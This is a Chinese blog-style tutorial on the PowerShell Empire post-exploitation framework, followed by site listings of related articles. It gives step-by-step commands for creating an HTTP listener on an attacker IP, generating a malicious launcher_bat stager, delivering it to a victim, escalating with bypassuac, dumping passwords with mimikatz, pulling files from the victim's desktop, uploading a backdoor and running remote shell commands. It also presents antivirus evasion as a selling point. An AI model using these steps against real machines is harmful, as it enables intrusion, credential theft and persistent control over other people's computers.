0x01 简介
Empire是一个后开发框架。它是一个纯粹的PowerShell代理,具有加密安全通信和灵活架构的附加功能。Empire具有在不需要PowerShell.exe的情况下执行PowerShell代理的方法。它可以迅速采用可后期利用的模块,涵盖范围广泛,从键盘记录器到mimikatz等。这个框架是PowerShell Empire和Python Empire项目的组合; 这使得它用户友好和方便。PowerShell Empire于2015年问世,Python Empire于2016年问世。它类似于Metasploit和Meterpreter。但由于它是命令和控制工具,它允许您更有效地控制PC。
 
PowerShell提供了丰富的攻击性优势,进一步包括.NET的全部访问,applock白名单以及对Win32的直接访问。它还在内存中构建恶意二进制文件。它提供C2功能,允许您在第一阶段之后植入第二阶段。它也可以用于横向移动。随着它与其他框架相比发展迅速,它非常方便。此外,由于它不需要PowerShell.exe,它可以让您绕过反病毒。因此,最好使用PowerShell Empire。
 
0x02 功能
listenter:监听器是一个从我们正在攻击的机器上侦听连接的进程。这有助于Empire将战利品发回攻击者的计算机。
Stager: stager是一段代码,允许我们的恶意代码通过受感染主机上的代理运行。
proxy:代理是一种程序,用于维护计算机与受感染主机之间的连接。
module:执行我们的恶意命令,这些命令可以收集凭据并升级我们的权限。
 
0x03 安装
使用以下命令下载它:
下载完成并完成后,请按照下面给出的步骤进行安装:
cd Empire/
cd setup/
./install.sh
安装完成后,移回Empire目录并使用./empire运行empire
 
现在使用help命令,因为它打开了最初所需的所有基本选项。
(Empire) > help
 
Commands
========
agents Jump to the Agents menu. # 跳转到代理菜单
creds Add/display credentials to/from the database. # 从数据库中添加/显示凭据
exit Exit Empire
help Displays the help menu.
interact Interact with a particular agent. # 与特定的代理交互
list Lists active agents or listeners. # 列出活动代理或侦听器
listeners Interact with active listeners. # 与活跃的会话互动
load Loads Empire modules from a non-standard folder. # 从非标准文件夹加载Empire模块
plugin Load a plugin file to extend Empire. # 加载插件文件以扩展Empire
plugins List all available and active plugins. # 列出所有可用的和活动的插件
preobfuscate Preobfuscate PowerShell module_source files # 预混淆PowerShell模块源文件
reload Reload one (or all) Empire modules. # 重新加载一个或多个Empire模块
report Produce report CSV and log files: sessions.csv, credentials.csv, master.log
# 生成CSV报告和日志文件
reset Reset a global option (e.g. IP whitelists). # 重置一个全局的选项
resource Read and execute a list of Empire commands from a file. # 从文件中读取并执行Empire命令列表
searchmodule Search Empire module names/descriptions. # 搜索帝国模块名称/描述
set Set a global option (e.g. IP whitelists). # 设置全局选项
show Show a global option (e.g. IP whitelists). # 显示全局选项
usemodule Use an Empire module. # 使用一个Empire模块
usestager Use an Empire stager. # 使用一个Empire代码段
 
根据工作流程,首先,我们必须在本地机器上创建一个监听器。
listeners 查看活动的侦听器
 
进入监听器界面输入以下命令查看所有可用的侦听器
(Empire: listeners) > uselistener <tab> <tab>
dbx http_com http_hop meterpreter redirector
http http_foreign http_mapi onedrive
 
最流行和最常用的侦听器是http
uselistener http
此命令在本地端口80上创建一个侦听器。如果端口80已经被像Apache这样的服务占用,请确保停止该服务,因为此侦听器是http侦听器只能在端口80上工作。
 
查看侦听器下可以使用的命令
(Empire: listeners) > <tab><tab>
agents delete enable info list resource
back disable exit kill listeners uselistener
creds edit help launcher main usestager
 
如果要删除一个活跃的listener,使用kill命令
(Empire: listeners) > kill http
[!] Killing listener 'http'
 
现在要查看所有你应该在这个监听器类型中提供的选项:
info
 
正如上图所示,你可以使用各种设置来修改或自定义侦听器。我们可以尝试更改我们的监听器的名称,这样有助于记住所有被激活的监听器;
set Name test
上面的命令会将侦听器的名称从http更改为test。
通常,此侦听器会自动占用本地主机IP,但为了以防万一,你可以使用以下命令设置IP:
set Host 192.168.88.152
execute
上面的命令将执行监听器。然后返回并使用PowerShell侦听器
现在输入'back'以从监听器接口返回,以便我们可以执行我们的模块。使用以下命令查看Empire提供的所有模块:
(Empire: listeners/http) > back
(Empire: listeners) > usestager <tab> <tab>
 
正如图中所示,Windows和IOS都有很多模块,还有一些可以在任何平台上使用的多模块。以下实验,我们将使用launcher_bat创建恶意软件并利用受害者的PC。
usestager windows/launcher_bat
 
然后再次键入“info”以查看漏洞利用所需的所有设置。经过检查,发现我们只需要提供listener。
set Listener test
execute
 
在设置侦听器测试并创建/tmp/launcher.bat之后,上述两个命令将执行我们的漏洞利用。使用python服务器在受害者的PC中执行此文件。
python -m SimpleHTTPServer 8080
 
当文件将执行时,您将有一个会话。要检查您的会话类型:
agents
使用上面的命令,您可以看到已激活会话。您可以更改会话的名称,因为默认情况下给出的名称非常复杂且难以记住。为此,请键入:
rename P4BNYW6D pc01
使用以下命令访问会话:
interact pc01
获得对会话的访问权限后,请尝试使用以下命令获取管理会话:
bypassuac http
执行bypassuac命令后,将打开另一个会话。键入以下内容重命名该会话:
rename HE3K45LN admin01
interact with admin01 now.
interact admin01
<tab> <tab>帮助我们查看shell中的所有选项。有几种选择对后期开发很有帮助。如信息,工作,列表等,如图所示。
信息: 所有基本细节,如IP,随机数,抖动,完整性等。
现在,如果使用'help'命令,您将能够看到所有可执行命令。
让我们尝试运行 mimikatz 来获取用户的密码。由于 mimikatz 不能在普通的guest用户shell上运行,并且只能在admin shell上运行; 这也证明我们必须实现管理员访问权限,以便我们可以使用mimikatz。
Hmmmm!用户的密码为“123456”。
creds
上面的命令也会在明文及其哈希中转储任何用户的凭据或密码。
另一个重要的命令是 shell 命令。
要使用受害者的shell运行正确的Microsoft Windows命令,我们使用此功能。
例如:一个这样的窗口的cmd only命令是 netstat
shell netstat -ano
正如预期的那样,上面的命令向我们展示了机器上当前工作的所有端口!
现在,因为windows中的默认shell目录是“ C:/ windows / system32 ”; 让我们尝试移动到另一个目录并尝试从那里下载一些文件,我们也可以在该位置上传一些内容,例如,我们可以上传后门!现在,使用以下命令:
shell cd C:\Users\lihui03\Desktop
shell dir
download msf.pdf
 
上面的命令将从窗口的桌面下载一个名为msf.pdf的图像到“帝国的下载目录”
在这里我们可以上传任何后门,在上面的命令的帮助下,我们从Kali的桌面上传一个后门到受害者的桌面,我们甚至可以调用这个文件,因为我们有shell访问权限!
upload /root/shell.hta
这是下载文件的位置:
查看上传的文件
上面的命令证明我们确实已经上传了shell.hta
之前展示的是帝国的基本演示及其使用的不同术语以及如何使用它们。还有另一个术语,即usemodule。最后,让我们看看如何使用它。
该命令将显示所有可用模块并可供使用,如下图所示:
以下是如何使用usemodule的小型演示。类型:
usemodule trollsploit/message
set MsgText you have been hacked
execute
y
使用上述模块将在受害者的PC上显示一条消息,如下图所示:
目标机器上是这样的!!!
 

Empire – PowerShell 后渗透攻击框架的更多相关文章

  1. 20165230田坤烨网络对抗免考报告_基于WIN10的渗透攻击

    目录 简单信息收集 主机发现 ping nmap 端口扫描 nmap OS及服务版本探测 nmap -sV 绕过防火墙尝试 诱饵 随机数据长度 随机顺序扫描目标 MAC地址欺骗 实现win10的渗透攻 ...

  2. 渗透攻防工具篇-后渗透阶段的Meterpreter

    作者:坏蛋链接:https://zhuanlan.zhihu.com/p/23677530来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 前言 熟悉Metasploit ...

  3. (一)走进Metasploit渗透测试框架

    渗透测试的流程 渗透测试是一种有目的性的,针对目标机构计算机系统安全的检测评估方法,渗透测试的主要目的是改善目标机构的安全性.渗透测试各个阶段的基本工作: 1.前期交互阶段 在这个阶段,渗透测试工程师 ...

  4. metasploit 一款开源的渗透测试框架

    渗透神器漏洞利用框架metasploit from: https://zhuanlan.zhihu.com/p/30743401 metasploit是一款开源的渗透测试框架软件也是一个逐步发展与成熟 ...

  5. Metasploit简单使用——后渗透阶段

    在上文中我们复现了永恒之蓝漏洞,这里我们学习一下利用msf简单的后渗透阶段的知识/ 一.meterperter常用命令 sysinfo #查看目标主机系统信息 run scraper #查看目标主机详 ...

  6. 使用Metasploit渗透攻击windows系统(二)

    后渗透攻击: 介绍常用的一些命令: 查看进程:ps 查看当前进程号:getpid 查看系统信息:sysinfo 查看目标机是否为虚拟机:run post/windows/gather/checkvm ...

  7. APT高持续渗透攻击-后门篇

    APT是指高级持续性威胁, 利用先进的攻击手段对特定目标进行长期持续性网络攻击的攻击形式,APT攻击的原理相对于其他攻击形式更为高级和先进,其高级性主要体现在APT在发动攻击之前需要对攻击对象的业务流 ...

  8. 后渗透工具Empire使用教程

    一.前言 Empire是一个PowerShell后期漏洞利用代理工具同时也是一款很强大的后渗透测神器,它建立在密码学.安全通信和灵活的架构之上.Empire实现了无需powershell.exe就可运 ...

  9. 2018-2019-2 20165330《网络对抗技术》Exp10 Final 基于PowerShell的渗透实践

    目录 实验内容 实验步骤 实验中遇到的问题 实验总结与体会 实验内容 PoweShell简介 PowerShell入门学习 PowerShell渗透工具介绍 相关渗透实践分析 ms15-034之Pow ...

随机推荐

  1. 一文了解:Redis的RDB持久化

    一文了解:Redis的RDB持久化 Redis是内存数据库,为了保证数据不在故障后丢失,Redis需要将数据持久化到硬盘上. Redis持久化有两种方式:一种是快照,全量备份.一种是AOF方式,连续增 ...

  2. restapi(4)- rest-mongo : MongoDB数据库前端的httpserver

    完成了一套标准的rest风格数据库CRUD操作httpserver后发现有许多不足.主要是为了追求“通用”两个字,想把所有服务接口做的更“范generic”些,结果反而限制了目标数据库的特点,最终产生 ...

  3. python开发基础--思维导图

    开始学习python,相当于零基础 非自学,自学的痛苦不想体会和尝试,毕竟不会很友好,知乎上看到很多说自学的好处啊噼里啪啦的.嗯,说的很对,但是我偏不听,略略略.锻炼我的自学能力,这还需要锻炼吗,百度 ...

  4. Netty学习(五)-DelimiterBasedFrameDecoder

    上一节我们说了LineBasedframeDecoder来解决粘包拆包的问题,TCP以流的方式进行数据传输,上层应用协议为了对消息进行区分,一般采用如下4种方式: 消息长度固定,累计读取到消息长度总和 ...

  5. powerdesign进军(二)--oracle数据源配置

    目录 资源下载(oracle客户端) 配置 查看系统的数据源 powerdesign 连接数据库 title: powerdesign进军(二)--oracle数据源配置 date: 2019-05- ...

  6. (九)c#Winform自定义控件-树

    前提 入行已经7,8年了,一直想做一套漂亮点的自定义控件,于是就有了本系列文章. 开源地址:https://gitee.com/kwwwvagaa/net_winform_custom_control ...

  7. 前端利器躬行记(1)——npm

    npm(Node Package Manager)是Node.js的包管理工具,相当于一个在线仓库.它提供了一个公共的平台,将分散在世界各地的包集中起来,能轻松的安装.分享和管理相关的包,不用再为搜索 ...

  8. Zookeeper一致性级别

    一致性级别划分 关于分布式系统一致性级别的划分,有些文章划分为强一致性,顺序一致性以及弱一致性. 最终一致性属于弱一致性,最终一致性根据更新数据后各进程访问到数据的时间和方式的不同划分为: 因果一致性 ...

  9. 在github上搭建个人博客并在线更新

    换博客比更博还勤的我终于决定写一篇博客搭建教程了.. FAQ Q:\(hexo\)需要本地编译.\(jekyll\)虽然可以直接上传\(md\)..但是如果在github上直接编译也太难受了叭,毕竟不 ...

  10. 部署Kettle做ETL开发并使用Crontab制作调度系统

    背景说明: 在数据量较小,且数据源和装载地都是关系型数据库时,使用Kettle做ETL较为简便. 由于调度系统产品因为服务器环境方面的因素,而无法部署,故使用Linux的crontab定时器来制作简易 ...